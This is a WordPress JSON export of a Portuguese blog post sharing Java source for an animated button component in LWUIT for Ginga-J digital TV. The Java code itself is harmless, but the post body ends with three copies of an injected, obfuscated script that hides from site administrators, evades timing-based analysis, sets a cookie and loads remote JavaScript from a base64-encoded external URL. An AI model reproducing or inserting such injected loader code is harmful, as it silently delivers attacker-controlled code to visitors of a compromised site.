{"id":3915,"date":"2013-03-10T12:52:40","date_gmt":"2013-03-10T15:52:40","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=3915"},"modified":"2025-10-26T22:33:26","modified_gmt":"2025-10-27T01:33:26","slug":"botao-animado-em-lwuit-ginga","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2013\/03\/10\/botao-animado-em-lwuit-ginga\/","title":{"rendered":"Bot\u00e3o Animado em LWUIT - Ginga"},"content":{"rendered":"<p style=\"text-align: justify;\">Atendendo a pedidos, segue o c\u00f3digo do componente para anima\u00e7\u00e3o de bot\u00f5es para LWUIT - Ginga-J.<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">package org.gvlabs.sbtvd.ui;\n\nimport com.sun.dtv.lwuit.Button;\nimport com.sun.dtv.lwuit.Graphics;\nimport com.sun.dtv.lwuit.Image;\n\n\/**\n * Animated Button\n *\n * @author Thiago Galbiatti Vespa\n * @version 1.0\n *\/\npublic class AnimatedButton extends Button {\n\tprivate int speed = 50;\n\n\tprivate Image&#x5B;] animaImgs;\n\n\tprivate int currentImage = 0;\n\tprivate long lastInvoke;\n\tprivate boolean forward = true;\n\tprivate boolean backAndForth = true;\n\tprivate boolean loop = true;\n\tprivate boolean disableLoop = false;\n\n\t\/**\n\t * Default constructor\n\t *\/\n\tpublic AnimatedButton() {\n\t}\n\n\t\/**\n\t * Get array of images\n\t * @return array of images\n\t *\/\n\tpublic Image&#x5B;] getAnimaImgs() {\n\t\treturn animaImgs;\n\t}\n\n\t\/**\n\t * Set array of images to be animated\n\t * @param animaImgs array of images\n\t *\/\n\tpublic void setAnimaImgs(Image&#x5B;] animaImgs) {\n\t\tthis.animaImgs = animaImgs;\n\t\tif (animaImgs != null &amp;&amp; animaImgs.length &gt; 0) {\n\t\t\tthis.setIcon(animaImgs&#x5B;0]);\n\t\t}\n\t}\n\n\t\/**\n\t * Get animation speed is ms\n\t * @return animation speed\n\t *\/\n\tpublic int getSpeed() {\n\t\treturn speed;\n\t}\n\n\t\/**\n\t * Set animation speed in ms\n\t * @param speed animation speed\n\t *\/\n\tpublic void setSpeed(int speed) {\n\t\tthis.speed = speed;\n\t}\n\n\t\/**\n\t * Back and Forth animation\n\t * @return true if is a back and forth animation\n\t *\/\n\tpublic boolean isBackAndForth() {\n\t\treturn backAndForth;\n\t}\n\n\t\/**\n\t * Set back and forth animation value\n\t * @param backAndForth\n\t *\/\n\tpublic void setBackAndForth(boolean backAndForth) {\n\t\tthis.backAndForth = backAndForth;\n\t}\n\n\t\/**\n\t * Is loop?\n\t * @return true if is a loop animation\n\t *\/\n\tpublic boolean isLoop() {\n\t\treturn loop;\n\t}\n\n\t\/**\n\t * true = loop, false = one animation\n\t * @param loop\n\t *\/\n\tpublic void setLoop(boolean loop) {\n\t\tthis.loop = loop;\n\t}\n\n\tpublic boolean animate() {\n\t\tif (disableLoop)\n\t\t\treturn false;\n\t\tlong current = System.currentTimeMillis();\n\t\tif (current - lastInvoke &gt; speed) {\n\t\t\tlastInvoke = current;\n\t\t\tif (forward) {\n\t\t\t\tcurrentImage++;\n\t\t\t} else {\n\t\t\t\tcurrentImage--;\n\t\t\t}\n\t\t\tif (currentImage &gt;= animaImgs.length) {\n\t\t\t\tif (!loop) {\n\t\t\t\t\tdisableLoop = true;\n\t\t\t\t\treturn false;\n\t\t\t\t} else if (!backAndForth) {\n\t\t\t\t\tforward = true;\n\t\t\t\t\tcurrentImage = 0;\n\t\t\t\t} else {\n\t\t\t\t\tforward = false;\n\t\t\t\t\tcurrentImage = animaImgs.length - 1;\n\t\t\t\t}\n\t\t\t} else if (currentImage &lt; 0) {\n\t\t\t\tforward = true;\n\t\t\t\tcurrentImage = 0;\n\t\t\t}\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}\n\n\t\/* (non-Javadoc)\n\t * @see com.sun.dtv.lwuit.Button#paint(com.sun.dtv.lwuit.Graphics)\n\t *\/\n\tpublic void paint(Graphics g) {\n\t\tg.drawImage(animaImgs&#x5B;currentImage], getX(), getY());\n\t}\n\n}\n<\/pre>\n<p style=\"text-align: justify;\">Para utilizar \u00e9 s\u00f3 atribuir o conjunto de imagens para o m\u00e9todo <em>setAnimaImgs<\/em> e registrar a anima\u00e7\u00e3o no formul\u00e1rio, por exemplo: <em>form.registerAnimation(animatedButton);<\/em><\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Atendendo a pedidos, segue o c\u00f3digo do componente para anima\u00e7\u00e3o de bot\u00f5es para LWUIT - Ginga-J. package org.gvlabs.sbtvd.ui; import com.sun.dtv.lwuit.Button; import com.sun.dtv.lwuit.Graphics; import com.sun.dtv.lwuit.Image; \/** * Animated Button * * @author Thiago Galbiatti Vespa * @version 1.0 *\/ public class <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2013\/03\/10\/botao-animado-em-lwuit-ginga\/\">Continue lendo  <span class=\"screen-reader-text\">  Bot\u00e3o Animado em LWUIT - Ginga<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[95],"tags":[],"class_list":["post-3915","post","type-post","status-publish","format-standard","hentry","category-tv-digital"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/3915","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=3915"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/3915\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=3915"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=3915"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=3915"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}